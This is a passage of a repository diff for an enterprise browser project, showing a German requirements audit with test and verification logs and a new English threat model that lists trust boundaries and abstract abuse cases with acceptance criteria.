Autor-/Prüferidentität für alle Veröffentlichungswege, einschließlich Teaching und Gerätescan. Restriktive Gerätegruppen, explizite Pilot-Ausweitung und gerätgebundene effektive Policies sind inzwischen implementiert (`docs/group-policy-rollout.md`). Dynamische IdP-Gruppen, automatische Gesundheitsgates, prozentuale Rolloutringe und Mandantenisolation bleiben offen. | +| Admin-Bookmarks lesen/bearbeiten, Firmenlinks und erlaubte persönliche Links | Umgesetzt innerhalb des aktuellen Fleet-Modells | `packages/core/bookmarks.mjs`, `apps/server/bookmarks.mjs`, `apps/browser/bookmarks.cjs`, `tests/bookmarks.test.mjs`, `tests/bookmarks-native.test.mjs`, beide Bookmark-Smokes und Proof-Artefakte. Signierte Firmenlinks, per-Gerät persönliche Revisionen, native und Backend-Rechte. Kein geräteübergreifendes Benutzerroaming oder Gruppenzuweisung. | +| Eigener Proxy, VPN, DNS | Teilweise | `apps/browser/network-posture.cjs`, `packages/core/enterprise.mjs`, `tests/network-posture.test.mjs`, `scripts/enterprise-browser-smoke.mjs`: Windows-DNS, Corporate DoH, Proxy/PAC, VPN-Adapter/DNS-Prüfung. Adapterpräsenz ist keine kryptografische Tunnel-/Routenattestation; Erkennung hat Polling-Latenz. Reale Kundentopologien müssen getestet werden. | +| Live Domain/IP-/Inhaltsblockierung, YARA/Sigma | Teilweise | `packages/core/security.mjs`, `tests/security.test.mjs`, `tests/dns-alias.test.mjs`, `apps/inspector/engine.py`: Domain/IP-Regeln und echte lokale YARA. Sigma unterstützt nur genaue Event-Metadaten-Selektion, keine vollständige Sprache/Korrelation. OS-weit andere Anwendungen werden nicht kontrolliert. | +| ICAP zu eigener AV/Sandbox | Teilweise | `apps/browser/icap-client.cjs`, `enterprise-inspection.cjs`, `apps/server/inspection.mjs`, `tests/icap-client.test.mjs`, `tests/enterprise-gateway.test.mjs`: vollständige unveränderte Bodies, OPTIONS, ICAPS, fail closed. Kein verzögertes Detonations-/Polling-Protokoll, Vendor-REST oder sichere Freigabe adaptierter Inhalte. | +| Downloads mit zentraler YARA vor OS-Dateischreiben | Umgesetzt für unterstützte GET-Downloads | `apps/browser/main.cjs`, `inspection.cjs`, `tests/download-gate.test.mjs`, `scripts/smoke.mjs`: native Downloads gestoppt, bounded Memory-Scan, SHA-Bindung vor Save-Dialog/Schreiben. POST-/Blob-/andere Downloads nicht unterstützt und blockiert. Ein YARA-Allow ersetzt keine DLP-Klassifikation. | +| Vollständige Upload-/Text-DLP | Teilweise, wichtige Grenze | `main.cjs`, `packages/core/policy.mjs`, `tests/policy.test.mjs`: unterstützte immutable HTTP-Body-/URL-Pfade geprüft. Dateibasierte/Data-Pipe-Uploads blockiert statt race-anfälliger Freigabe. WebSocket-Nachrichten bei Freigabe, WebRTC, Streaming und codierte/covert Exfiltration nicht vollständig geprüft. Native Chromium-Enforcement-Arbeit erforderlich. | +| Copy/Paste/Cut und ClickFix | Teilweise | `packages/core/clipboard.mjs`, `apps/browser/page-clipboard-guard.cjs`, `site-preload.cjs`, `tests/clipboard.test.mjs`, `tests/page-clipboard-guard.test.mjs`, `scripts/smoke.mjs`: echte Tastatur-/Kontextmenü-Pfade, Policy-/Ziel-/Selektionsbindung; Seiten-Clipboard/Legacy-Pfade geschützt. Richtext, Dateien, contenteditable und Subframe-Transfers blockiert. ClickFix-Regeln erfassen ausgewählte gefährliche Ausführungsketten, nicht sämtlichen Schadcode von GitHub. Kein OS-weiter Clipboard-/Print-/Screenshot-Schutz. | +| Lokales OCR und Parsing ohne Cloud | Teilweise, Windows-Isolation implementiert | `apps/inspector/engine.py`, `requirements.lock.txt`, `CAPABILITIES.md`: gepinnte RapidOCR/ONNX-Modelle, begrenzte Parser, kein Modellnachladen. Der Broker importiert keine Parser; pro Anfrage führt `windows_appcontainer.py` einen attestierten Worker mit null Fähigkeiten, privaten Pipes und freigegebenen Runtime-Leserechten aus. Job-Limits und Nachfahrenbeendigung bleiben aktiv. Zwölf native Isolationstests sowie echtes YARA/OCR/Gemma im Broker bestanden (`artifacts/windows-appcontainer-proof.json`). PDF/OOXML-/Mediencoverage bleibt unvollständig. Installer-ACLs für Program Files und unabhängige Sandbox-Bypass-Prüfung fehlen weiterhin. | +| Echtes semantisches GemmaEmbed2 | Umgesetzt als lokaler Klassifikationsbaustein | `apps/inspector/semantic.py`, `test_semantic_real.py`, `packages/core/semantic.mjs`, `scripts/provision-semantic-runtime.py`, `scripts/semantic-browser-smoke.mjs`, `artifacts/semantic-browser-proof.json`: reale gepinnte EmbeddingGemma-2 Q8_0-Gewichte, CPU, 768 Dimensionen, vollständige Tokenfenster. Kundenspezifische Schwellen, Accuracy-/False-Negative-Evaluation und Driftkontrolle fehlen. Das ist kein Fine-Tuning. | +| Bilder, Medien, Video | Teilweise | Lokales OCR und native Bildembeddings; begrenztes mono16kHz PCM16-WAV-Embedding in `semantic.py`/Realtests. Keine vollständige Audio-Transkription, Video-Frame-/Audiocoverage. Ein Medienvektor allein erlaubt keine unvollständig geprüfte Datei. | +| Internes Dokument „anlernen“, keine vollständige Speicherung | Umgesetzt für Features und konfigurierbare Zweitfreigabe | SHA-/Fragmenthashes und begrenzte semantische Vektoren, keine dauerhafte Quelldokument-/Plaintextspeicherung. Deploymentflag erzwingt unabhängigen Administrator für Veröffentlichung; Reviewer sieht Abdeckung/Modus und unveränderlichen Vorschlag. Hashes/Vektoren sind sensible Metadaten. Held-out Evaluation und automatisches Fine-Tuning fehlen. Forensisches Löschen von Prozess-/Paging-Speicher ist nicht garantiert. | +| Dokument-Scan je Browser aktivierbar | Umgesetzt | `app.mjs`, `main.cjs`, Fleet-UI; per-Gerät supplemental Scan. Pflicht-DLP/YARA bleibt davon unabhängig. Nachweise in Server- und Native-Smoke. | +| KI als First Class, kontrolliertes Gateway | Teilweise | `apps/server/app.mjs`, `inspection.mjs`, Browser-AI-UI, `tests/enterprise-gateway.test.mjs`: freigegebene lokale Ollama/kompatible Provider, serverseitige Credentials, Prompt-/Outputprüfung. Kein vollständiges Berechtigungs-RAG, Modellinventar, Provider-Tenantnachweis oder umfassendes KI-Tool-Autorisierungsmodell. | +| Lokale Agenten steuern Sessions | Umgesetzt für begrenzte API | `apps/browser/agent-control.cjs`, `tests/agent-control.test.mjs`, `tests/agent-adapters.test.mjs`, `scripts/agent-client.cjs`: Loopback, Capability-Pairing, Scopes und feste Aktionen. Kein freies JS/CDP, Passwort-/Cookieexport. Stabile native Tab-UUIDs, Kontextbindung sowie explizite App-/Einstellungs-/Bookmark-/Tab-Rechte sind ergänzt und mit echtem CLI geprüft. Freigaben bleiben zentral begrenzt. Vollständige UI-Steuerung, sichere Screenshots und delegierte kryptografische Agent-Identitäten bleiben offen. | +| Passwortmanager mit Post-Quantum-Kryptografie | Teilweise | `apps/browser/vault.cjs`, `password-fill.cjs`, `tests/vault.test.mjs`, `tests/password-fill.test.mjs`: ML-KEM-1024/AES-GCM/scrypt und Windows-DPAPI, Idle-/Blur-Lock, gebundene HTTPS-Formfüllung. Kein Sync/Recovery/Passkeys, keine unabhängige Kryptografieprüfung oder FIPS-Modulvalidierung. | +| UI+pHash+korrekte Login-URL gegen unbekannte Domains | Teilweise | `packages/core/visual-hash.cjs`, `visual-image.cjs`, `apps/browser/visual-phishing.cjs`, `visual-capture.cjs`, `tests/visual-*.test.mjs`, Native-Smoke: echte Pixel, DCT-pHash, exakte erlaubte HTTPS-Origins, Quarantäne/Audit. Admin muss vertrauenswürdige Referenzen liefern; keine voreingestellte Google-Bibliothek. Kein Pre-Render-Block; Layout-/Sprache-/Iframe-/Evasion-Abdeckung und Fehlalarmrate nicht ausreichend evaluiert. | +| OpenTelemetry und SIEM-Standardexport | Teilweise | `apps/server/telemetry.mjs`, `siem.mjs`, `packages/core/siem.mjs`, `tests/telemetry.test.mjs`, `tests/siem.test.mjs`: OTLP Signals, dauerhafte Audit-/Dedup-Pfade, ECS/CEF-Cursor und HTTPS/mTLS-Push. Keine Dokument-/Promptinhalte in regulären Events. Incident-Triage und standardmäßig deaktivierte Datenbank-Aufbewahrung implementiert. Incident-Belege und ausstehende SIEM-Exporte bleiben erhalten. Zentral signierte Browser-OTLP-Traces/Logs mit Laufzeiten und Trace-/Span-Korrelation sind jetzt integriert und mit realem Electron/Collector geprüft. Separater verschlüsselter Belegspeicher serverseitig vorhanden; Browser-Erfassung/Analystenansicht, detaillierte Python-Phasen, automatische Fälle, externe SIEM-/Datei-/Backup-Aufbewahrung und reale Kunden-SIEM-Tests bleiben offen. | +| Cross Platform und Mobile | Bewusst später | Benutzer hat Windows priorisiert. macOS/Linux/Mobile sind keine jetzt fertigen Produkte, auch wenn Paketkonfiguration Zielnamen enthält. | + +## Priorisierte To-do-Liste und Abnahmekriterien + +### P0: aktuell sichere Bedienung und überprüfbare Verwaltung + +- [x] Admin-Weboberfläche in klare Arbeitsbereiche aufteilen: Übersicht, Fleet, Policies, DLP/Teaching, KI, Infrastruktur, Bibliothek, Ereignisse. Aktive Navigation, Suche/Filter, leere/Fehler-/Ladezustände und verständliche Entwurf-/Veröffentlichungszustände. Abnahme: echte DOM-/Screenshot-Tests durchlaufen Template, Änderung, Veröffentlichung und Geräteaktion; Backend-Rechte bleiben unabhängig von UI. +- [x] Admin-Authentifizierung und Workflow serverseitig überprüfen: Session-Lifecycle, Schreibschutz gegen fremde Origins, sichere Header und minimaler Bootstrapbetrieb. Abnahme: nicht authentifizierte/fremde/abgelaufene Requests scheitern; erlaubte SSO-Session arbeitet über denselben kontrollierten API-Pfad. +- [x] Produktionsgrenzen in Konsole/README sichtbar machen. Abnahme: kein „gesund/sicher“-Status nur wegen gespeicherter Konfiguration; aktueller Device-/Scanner-/Policy-Nachweis und tatsächliche Bereitschaft werden unterschieden. +- [x] Windows-Parser-Isolation als AppContainer mit echten Token-, privaten Datei-/Runtime-Schreib-, TCP-/UDP-, Kindprozess-, Deadline- und Pipe-Grenztests implementiert. Broker/Worker getrennt, keine Parser im Broker; zwölf native Tests und echte lokale YARA/OCR/Gemma-Operationen bestanden. Freigegebene Systemressourcen und Windows-Paketprivatspeicher bleiben nutzbar. Das schließt keine unbekannten Sandbox-Exploits aus. +- [x] Separates Installer-/Service-Provisionierungstool und native lesende Prüfung vorhandener Package-SID-ACLs implementiert. Normaler Scannerstart ändert keine Rechte; fehlende/writable/konfliktierende ACLs scheitern. Paketierung provisioniert erst nach vollständigem Kopieren. Native Tests prüfen echten Workerstart bei verbotenem Provisionierungs-Unterprozess. +- [ ] Geschützte Program-Files-Installation unter einem separaten Standardbenutzer sowie unabhängiger Sandbox-Bypass-Test. Ein eigener Entwickleraccount-Nachweis ersetzt diese Produktionsabnahme nicht. + +### P1: Unternehmensbetrieb und Umfang erweitern + +- [x] Verbindliche unabhängige Policy-Freigabe über Deploymentflag, dauerhafte unveränderliche Entwürfe, Hash/Diff/Basisversion und unterschiedliche Administrator-Identität implementiert. Alle Veröffentlichungswege einschließlich Teaching, Blocklisten, Gerätescan und Wiederherstellung durchlaufen denselben Publisher. Eigenfreigabe, falscher Hash, veraltete Versionen und doppelte Freigabe scheitern; echte Admin-/Operator-UI-Prüfung bestanden. +- [x] Restriktive Gerätegruppen mit expliziter Mitgliedschaft, deterministischen Konfliktregeln, gruppenspezifischen Firmenbookmarks und signierter gerätgebundener effektiver Policy implementiert. Baseline bleibt zwingend; Browser, AI-Gateway und Bookmark-APIs prüfen die effektive Policy. Dynamische SSO-/SCIM-Gruppenzuweisung bleibt offen. +- [x] Unveränderliche Policy-Historie, Versionsvergleich und explizit geprüfte Wiederherstellung als neue Version implementiert. CAS, aktuelle Schema-/Bookmark-Prüfung, frisches Ablaufdatum und Backend-Rollen gelten; sechs Backendtests und echter Admin-UI-Workflow bestanden. +- [x] Expliziter Pilot-/Expanded-/All-Members-Rollout mit zentraler Vorschau, versionsgebundener Zweitfreigabe und gemeldeten Geräteversionen implementiert. Gruppenstände werden historisiert und als neue Generation wiederhergestellt. Gemeldete Versionsgleichheit ist keine Gesundheitsattestation. +- [ ] Automatische Rollout-Freigabe-/Stop-Regeln, prozentuale Ringe und dynamische IdP-/SCIM-Mitgliedschaft. +- [ ] Sichere immutable Freigabe von Dateiuploads und vollständige unterstützte Netzwerkkanäle im nativen Browser. Abnahme: kontrollierter Receiver erhält niemals nach dem Scan ausgetauschte Bytes; Frames/Worker/WebSockets/Streams sind explizit abgedeckt oder gesperrt. +- [ ] Vollständige Dokument-Render-/Attachmentprüfung, Audio-Transkription und Video-Frames im isolierten lokalen Worker. Abnahme: bekannte Secrets in jeder unterstützten Modalität und im Dateiende werden erkannt; unvollständige Coverage kann nicht freigegeben werden. +- [ ] Semantische Teaching-Evaluation mit erlaubten/verbotenen/adversarial Beispielen, Schwellen und Review. Abnahme: messbarer Kunden-Testdatensatz, kein automatisches Abschwächen durch Benutzerfeedback, Policy-/Modellrevision pro Entscheidung. +- [x] Echte native Tabs mit unabhängigen Inhalten/Historien, gepinnten Agent-Kontexten und Aktivierungsepochen integriert. Native Tests zeigen DOM-/Scroll-Erhalt, keine Reloads, DLP in beiden Tabs, Schließen und zentralen Widerruf aller Views. +- [ ] Unerwartete WebContents-Crashes, atomare Renderer-Aktionsfreigaben über den Dispatch-Zeitpunkt und weitergehende Native-Race-Proofs härten. Sichtbarkeits-/Fokusprüfung bei Passwortfüllung mit echten Views bestanden. +- [x] Incident-Administration mit Ereignisreferenz, Rollen, revisionsgebundener Triage, unveränderlichem Verlauf und reinen Metadaten-Audits implementiert; tatsächliche UI-/HTTP-Prüfung bestanden. +- [x] Opt-in Datenbank-Ereignisaufbewahrung mit aktuellem SIEM-Cursor, Incident-/Sigma-Referenzschutz und erhaltener Replay-Deduplication implementiert; atomarer Fehler-Rollback und echter abgeschlossener Incident geprüft. +- [ ] Vollständiger Daten-Lifecycle: Fall-/Notizablauf, Exportdateien, SIEM, Dedup-Ledger, Backups und sichere Wiederherstellung; Benutzer-/Geräte-Lifecycle und automatische Fallbildung. + +### P2: Produktionsfreigabe mit externen Voraussetzungen + +- [ ] Reale OIDC-, VPN-/Proxy-/DNS-, ICAP-/AV- und SIEM-Kundenumgebungen testen. Keine synthetische Fixture als Kundennachweis verwenden. +- [ ] Windows-Code-Signing, signierte Installer und verifizierter Updater mit Release-Ringen und Recovery. Zertifikat/Signierservice und Betrieb müssen bereitgestellt werden. +- [ ] Schlüsselcustody/Rotation und optional HSM; unabhängige Prüfung von Policykanal und Vault; keine Zertifikatsbehauptung ohne Prüfung. +- [x] Implementierungs-Threat-Model mit Vertrauensgrenzen, Angriffsfällen und konkreten Abnahmekriterien in `docs/threat-model.md` erstellt. +- [ ] Unabhängiges Penetrations-/Bypass-/Tenant-Isolation-Testprogramm, Chromium-Update-SLA und Incident-Reaktion. +- [ ] Modell-/OCR-/Drittsoftware-Lizenzen und vollständige Notices vor Distribution prüfen. +- [ ] Nach Windows-Abnahme: Plattformdesign für macOS/Linux, später Mobile; native Schutzgrenzen pro OS neu nachweisen. + +## Admin-Architekturentscheidung + +Eine getrennte Weboberfläche ist die vorhandene und sinnvolle Verwaltungsarchitektur: Kunden betreiben sie hinter HTTPS und Enterprise-SSO. Adminrechte entstehen ausschließlich im Management-Backend, nicht aus dem Browser-Client oder ausgeblendeten UI-Elementen. Ein zusätzlicher nativer Admin-Browser würde die fehlenden Rollen-, Transport-, Session- oder Auditkontrollen nicht ersetzen. Der Verwaltungszugang sollte kundenseitig auf berechtigte Benutzer/Netze beschränkt werden; Konfiguration allein ist keine Produktionsabnahme. + +## In dieser Iteration umgesetzt + +- Admin/Operator/Auditor-RBAC in `apps/server/admin-access.mjs`, `auth.mjs` und `app.mjs`: explizite Route-Permissions, neu berechnete Sessionrechte und default-deny für unbekannte Adminrouten. Operatoren können Geräte betreuen und Teaching-Entwürfe erstellen, aber keine signierte Policy veröffentlichen. Auditoren lesen ohne Schreibrechte. Nachweise: `tests/server.test.mjs`. +- Remote Shared-Token-Anmeldung abgeschaltet; lokale HTTP-Loopback-Entwicklung behält Bootstrap. Enterprise-SSO bleibt für echte Deployments erforderlich. +- Sessionübersicht und sofortige Sessionwiderruf-API im aktuellen Code; IDs sind opake UUID-Handles, keine Cookies/Tokenhashes. Nur Admin darf inventarisieren/widerrufen. Origin-geschütztes Logout. Neue Servertests enthalten Rechte, Token-Nichtoffenlegung und sofortige Ablehnung widerrufener Cookies; endgültiger Gesamtlauf wird vom Root berichtet. +- Admin-Konsole mit Navigation, Suchfiltern, Änderungenprüfung und eigenem Theme; tatsächlicher Electron-Proof bestätigt Review ohne Veröffentlichung, Filter, Theme-Persistenz, mobile Breite und Read-only-Controls. +- Windows Inspector-Job-Containment mit echtem Prozessbaum-/Owner-Exit-Nachweis. Dies verbessert Ressourcenbegrenzung, ist aber ausdrücklich keine Parser-Sicherheits-Sandbox. + +## Verifikation + +### Aktueller Integrationsstand: Windows-Isolation, Historie und Zweitfreigabe + +- `npm test`: 196 bestanden, keine Fehler (`artifacts/governance-unit-tests.log`). +- Python: 47 insgesamt, 43 ausgeführt und bestanden, vier optionale Modelldateitests im Routinelauf übersprungen (`artifacts/governance-python-tests.log`). +- Zwölf echte Windows-Isolationstests plus tatsächliches YARA, RapidOCR und Gemma im isolierten Broker bestanden (`artifacts/windows-appcontainer-proof.json`). Beinhaltet verweigerten Broker-Speicherzugriff und normalen Start ohne ACL-Provisionierungsprozess. +- Vollständiger nativer Browser-Smoke nach isolierter YARA-Integration bestanden (`artifacts/governance-native-smoke.log`). +- Tatsächlicher semantischer Browser-Clipboard-Test bestanden (`artifacts/isolation-history-semantic-browser.log`), einschließlich erlaubtem öffentlichen Text und blockierter Paraphrase. +- Tatsächliche Admin-Historien-/Wiederherstellungs- und unabhängige Freigabe-Workflows bestanden; einschließlich Geräteaktion vor/nach Freigabe, Operator-Beschränkung und verweigerter Eigenfreigabe (`artifacts/policy-history-admin-proof.json`, `artifacts/independent-review-admin-proof.json`). +- JavaScript-Syntax geprüft. Windows-Paket neu erstellt, spezifische Runtime-ACLs nach dem Kopieren provisioniert und finale Paketprüfung bestanden (`artifacts/governance-package-verification.log`): aktuelle Sicherheitsmodule, echter isolierter Kaltstart ohne neue Bytecode-Dateien, lokale CPU-Inferenz, DPAPI und nativer Agent-Helper. Hauptprogramm weiterhin `NotSigned`. + +Die erste isolierte YARA-Integration scheiterte an geschützten DLL-Dateirechten. Explizite vorhandene Datei-ACLs und ein echter YARA-Upload-/Download-Test schließen diese konkrete Lücke. Beim Clipboard-Test wurde eine dynamisch eingefügte Testauswahl korrekt abgelehnt, wenn ihre noch laufende visuelle Revision den Kontext änderte; der Harness wartet jetzt auf Dokument-/Visual-Prüfung, ohne Produktionskontrollen abzuschwächen. Normale Laufzeitprovisionierung wurde inzwischen durch rein lesende ACL-Prüfung ersetzt. Ein geschützter Standardbenutzer-Installer und unabhängige Sicherheitsbewertung bleiben offen. + +Vor Integration existieren die Unit-/Native-Testdateien und Proof-Artefakte oben. Diese Audit-Arbeit hat selbst keine neue Gesamttestsuite ausgeführt; die oben genannten neuen Nachweise stammen aus tatsächlichen Agentenprüfungen oder werden als noch zu integrierender Gesamtlauf bezeichnet. Der orchestrierende Agent muss geänderte Features mit passenden Tests, tatsächlicher Admin-DOM-/Screenshot-Prüfung und Windows-Paketvergleich verifizieren und die endgültigen Ergebnisse separat berichten. + +### Integrationsprüfung durch Root, 2026-10-13 + +- `npm test`: 183 bestanden, keine Fehler (`artifacts/audit-unit-tests.log`). +- Python-Tests: 34 insgesamt, 30 ausgeführt und bestanden, 4 optionale echte Modelltests in diesem Routinelauf übersprungen (`artifacts/inspector-audit-tests.log`). Enthält zwei echte Windows-Prozessbaum-/Breakaway-Tests. +- `npm run check` und Syntaxprüfung des korrigierten Semantic-Testharness: bestanden. +- Vollständiger nativer Browser-Smoke: bestanden (`artifacts/audit-native-smoke.log`), einschließlich Clipboard, Frame-Bypass, YARA vor Save, pHash, Teaching und Revocation. +- Separater realer Gemma-Browser-Test: bestanden (`artifacts/audit-semantic-smoke-retry.log`); paraphrasierter vertraulicher Inhalt blockiert (0,843945), öffentlicher Text zugelassen (0,509778), keine Rohtexte im zentralen Audit. +- Tatsächliche Admin-Electron-UI-Prüfung: bestanden; Nachweis `artifacts/enterprise-admin-proof.json`, Light/Dark/Mobile-Screenshots und Bookmark-UI-Smoke. +- Windows-Paket neu erstellt und geprüft: aktueller Sicherheitsquellstand, wirklich gestarteter Job-begrenzter Paket-Inspector, lokale CPU-Modellinferenz, DPAPI und nativer Agent-Helper (`artifacts/audit-package-verification.log`). Authenticode-Status des Hauptprogramms weiterhin `NotSigned`. + +Ein korrigierter erster Scanner-Smoke deckte den isolierten Python-Importpfad auf: Sibling-Module werden jetzt vom tatsächlichen Service-Verzeichnis geladen. Der erste separate semantische UI-Test scheiterte beim Sichern einer leeren Zwischenablage; der Harness behandelt leere MIME-Listen und synchrone Cleanup-Aufrufe jetzt korrekt. Beide gezielten Wiederholungen bestanden. Produktionsgates oben bleiben ausdrücklich offen; diese Ergebnisse gelten für die ausgeführten Szenarien. + +### Gruppen-Integration, 2026-10-13 + +- 203 JavaScript-Tests bestanden (`artifacts/groups-unit-tests.log`); vollständiger nativer Browser-Smoke bestanden (`artifacts/groups-native-smoke.log`). +- Echter Admin-Gruppenworkflow mit Pilot, Vorschau und ausdrücklicher Ausweitung bestanden (`artifacts/groups-admin-proof.json`). +- Native Upload-Probe zeigt unveränderte Bytes nach Dateiänderung, aber unsichere Cookie-Erweiterung beim Electron-Protocol-Forwarding. Deshalb keine Produktionsfreigabe dieses Ansatzes; Details in `docs/immutable-upload-feasibility.md`. + +- Verpflichtende Gruppen-Zweitfreigabe im echten Operator-/Admin-UI-Workflow bestanden: Vorschlag unveröffentlicht, Mitglieder/Kohorte/Regeln sichtbar, unterschiedliche Identität veröffentlicht (`artifacts/groups-review-admin-proof.json`). + +- Neuer Windows-Build mit Gruppenpolicy-Empfangsbindung erstellt; finale Paketprüfung einschließlich aktuellem Quellvergleich, isoliertem Scanner, lokalem Gemma, Agent-Helper und DPAPI bestanden (`artifacts/groups-package-verification.log`). Authenticode weiterhin `NotSigned`. + +### Incident-Integration, 2026-10-13 + +- 220 JavaScript-Tests bestanden (`artifacts/incidents-unit-tests.log`), Syntaxprüfung bestanden. Zehn gezielte Incident-/Retention-Tests zeigen Rollen, CAS, atomaren Rollback und Belegschutz. +- Echter Incident-Admin-Workflow inklusive Auditor-403, erhaltener Konflikteingaben und literal dargestellter HTML-Notiz bestanden (`artifacts/incident-admin-proof.json`). Gruppen- und Historien-UI nach Integration erneut bestanden. +- Lokaler Managementdienst auf Port 4310 mit aktuellem Backend neu gestartet. Datenbank-Aufbewahrung standardmäßig aus; Details in `docs/audit-retention.md` und `docs/incident-management.md`. +- Native Tab-Registry mit sieben Lifecycle-/Kontexttests vorbereitet (`docs/native-tabs-integration.md`), aber noch nicht in Hauptprozess, Renderer, Clipboard und Agenten integriert. Echte Tabs bleiben offen. + +### Native Tabs, First-Class-Agenten und Observability, 2026-10-13 + +- 253 JavaScript-Tests bestanden (`artifacts/first-class-agent-unit-tests.log`). Vollständiger nativer Browser-Smoke inklusive echter Agent-App-/Settings-/Bookmark-/Tab-Aktionen bestanden (`artifacts/first-class-agent-native.log`, `artifacts/smoke-entry.txt`). +- Echte Tab- und OTLP-Collector-Proofs bestanden (`artifacts/native-tabs-proof.json`, `artifacts/native-tabs-receiver-proof.json`, `artifacts/native-browser-diagnostics-proof.json`). Parent/Child, Laufzeiten, korrelierte Logs und Deaktivierung nach Widerruf geprüft. +- Zentrale Diagnostik-Felder und neue Agent-Berechtigungen im echten Admin-UI veröffentlicht und Auditor-Schreibschutz geprüft (`artifacts/enterprise-admin-proof.json`). +- Verschlüsselter forensischer Server-Belegspeicher mit Deployment-Key, authentisierten Ereignisreferenzen, auditierter Entschlüsselung, Ablauf/Incident-Hold und neun HTTP-Tests implementiert (`docs/protected-evidence.md`). Nicht automatisch aktiviert: Browser-Erfassung, zentrale Sammelregeln und Analystenansicht fehlen. +- [ ] Vollständige forensische Browser-Erfassung: Downloadname/Quelle/Hash, menschliche Klickziele und Clipboard-/Form-Abläufe; relevante vertrauliche Inhalte kontrolliert verschlüsseln, Passwort-/Authentisierungsfelder nativ ausnehmen; Analystenansicht, SIEM-Belegreferenzen und physischer Daten-Lifecycle. +- [ ] Per-Agent-Identitäten, kryptografischer Request-Besitznachweis, Replay-Schutz, individuelle Widerrufe und umfassendere UI-/History-/Screenshot-Funktionen. Aktuelle DPAPI-/Loopback-Capabilities sind noch nicht das vollständige Delegationsmodell. +- [ ] Durchgehende Python-interne OCR-/YARA-/Gemma-Spans und Control-Plane-Codepfade instrumentieren; gegenwärtige Browser-Spans messen den lokalen Inspector-Aufruf, nicht alle internen Phasen. +- Anforderungen aus der jüngsten Nutzerpräzisierung stehen in `docs/agent-observability-requirements.md`: Vertraulichkeit darf relevante Security-Belege nicht unterdrücken; operationales Debug und geschützte Forensik sind getrennte Pfade. +- Windows-Paket mit stabilem Quellstand neu erstellt und vollständig geprüft (`artifacts/native-tabs-package-verification.log`), weiterhin `NotSigned`. Der erste parallele Build hatte eine während der ASAR-Erstellung geänderte Datei; neue Vor-/Nach-Quellprüfung verhindert die Abnahme solcher Artefakte. diff --git a/docs/threat-model.md b/docs/threat-model.md new file mode 100644 index 0000000..11434a2 --- /dev/null +++ b/docs/threat-model.md @@ -0,0 +1,90 @@ +# S Browser threat model and security acceptance gates + +Status: implementation threat model, 2026-10-13. This is not an independent security +assessment. See `requirements-audit.md` for current implementation evidence. + +## Assets and adversaries + +Protect confidential document/prompt bytes, credential material, browser session +authority, signed policy versions, classification features, administrator identity, +audit integrity and availability. Hashes and semantic vectors are confidential +derived data, even though source documents are not retained. + +Consider malicious sites and frames, hostile document/media files, malicious +clipboard instructions, compromised AI output, unauthorized local agents, stolen +device credentials, network interception, stale policy caches and unauthorized or +compromised management identities. A local OS administrator can replace executable +code or inspect process memory: protecting against that requires endpoint controls +outside this browser's present assurance boundary. + +## Trust boundaries + +1. **Remote site to privileged browser.** Website content has no trusted UI bridge, + Node access or administrative authority. Renderer requests and DOM observations + are untrusted; native policy checks own transfer decisions. Website appearance + cannot establish origin identity. +2. **Browser to clipboard/files/network.** Inspect before release. An approval must + bind destination, bytes, current policy and current target context. Unsupported + transfer paths remain blocked. Rich/file/subframe clipboard paths are not silently + downgraded to plain-text inspection. +3. **Document bytes to parser/model worker.** Authentication to the loopback broker + is separate from permission to parse a document. Untrusted documents must run in + a restricted worker with no broker credentials, host data access or network + capability. Job Objects limit resources but do not satisfy this boundary alone. +4. **Device to management.** Enrollment establishes device identity; it never + establishes admin authority. HTTPS, independently pinned policy keys, signed + monotone versions, expiries and authenticated device requests all remain required. +5. **Administrator to management.** Verified OIDC identity and exact role permissions + authorize every backend route. Hidden controls are a usability property. Session + revocation invalidates current cookies; removing an IdP group must also prevent + future logins. Mandatory independent approval is still a separate gate. +6. **Browser/AI gateway to approved model.** Classify locally/customer-side before + external transmission. Provider credentials stay at the gateway. Page content, + retrieved documents and model output cannot grant tool permissions or change + policies. Model similarity is evidence, not a proof of confidentiality absence. +7. **Local agent to browser.** Pairing capabilities are scoped, device-local and + revocable. Fixed actions validate the target/session again before execution. + No arbitrary JavaScript, CDP, cookie export or password export is exposed. +8. **Enforcement to audit/SIEM.** Record bounded metadata rather than source contents, + prompts or credentials. Durable event ingestion and deduplication are separate + from sampled operational traces. SIEM failures must retain a retryable backlog. + +## Abuse cases and acceptance evidence + +| ID | Abuse case | Required invariant / release test | +| --- | --- | --- | +| DLP-01 | Page swaps an approved file after scanning | Receiver obtains only the inspected immutable bytes; native file transfer binding is still open. | +| DLP-02 | Worker/frame/WebSocket/stream bypasses a form control | Every permitted channel is gated before transmission; explicitly block unsupported channels and test controlled receivers. | +| DLP-03 | Clipboard selection or destination changes during scan | Discard the pending release; scan approval cannot authorize a new selection, document or policy generation. | +| DLP-04 | ClickFix asks employee to execute copied instructions | Withhold covered dangerous command patterns; do not claim this heuristic detects all executable malware. | +| PARSE-01 | Document exploits native parser and reads user secrets | Native restricted-worker probe cannot read a synthetic private file outside explicitly approved roots. | +| PARSE-02 | Exploited parser sends document bytes to network | Native worker TCP/UDP probes fail without network capability; no loopback exemption or credential forwarding. | +| PARSE-03 | Worker forks, hangs, exhausts memory or survives owner | Process tree limits, no breakaway, deadline termination and clean subsequent scan; prove actual OS behavior. | +| POLICY-01 | Attacker replays old/expired/different-device policy | Signature, device binding, expiry and monotone revision reject it; emergency restore is published as a new version. | +| POLICY-02 | Operator forges admin permissions in session/UI | Backend recomputes role permissions; direct publication/revocation requests fail. | +| POLICY-03 | Cross-site page triggers an admin mutation | Exact Origin validation rejects cookie-authenticated writes and logout from other/missing origins. | +| AUTH-01 | Stolen/shared bootstrap token bypasses enterprise SSO | Remote HTTPS management rejects development bootstrap credentials. | +| AUTH-02 | Removed admin retains existing browser cookie | Explicit emergency session revocation rejects the next request; continuous IdP/back-channel revocation remains open. | +| PHISH-01 | Unknown domain renders a trusted login page | Pixel reference match plus exact HTTPS origin mismatch quarantines the page; validate layouts/languages/iframes and false positives before fleet-wide use. | +| AI-01 | Prompt injection asks agent/model to disclose other data | Policy and tool permissions are independent of prompt contents; retrieval ACLs and full tool governance remain open. | +| LOG-01 | Prompts, URLs with secrets or source documents enter logs | Allowlisted bounded metadata; inspect actual exported OTLP/ECS/CEF output and failure responses. | +| UPDATE-01 | Attacker supplies modified browser/model/update | Pinned artifact hashes and verified publisher signatures; production signed updater is still open. | + +## Operational response and residual risks + +Revoke compromised device credentials and management sessions; publish strengthened +rules as a new policy version and verify device acknowledgement. Preserve bounded +audit evidence under the customer's retention/access rules. Rotate affected keys +and provider credentials through deployment tooling; automated key rotation and +full incident 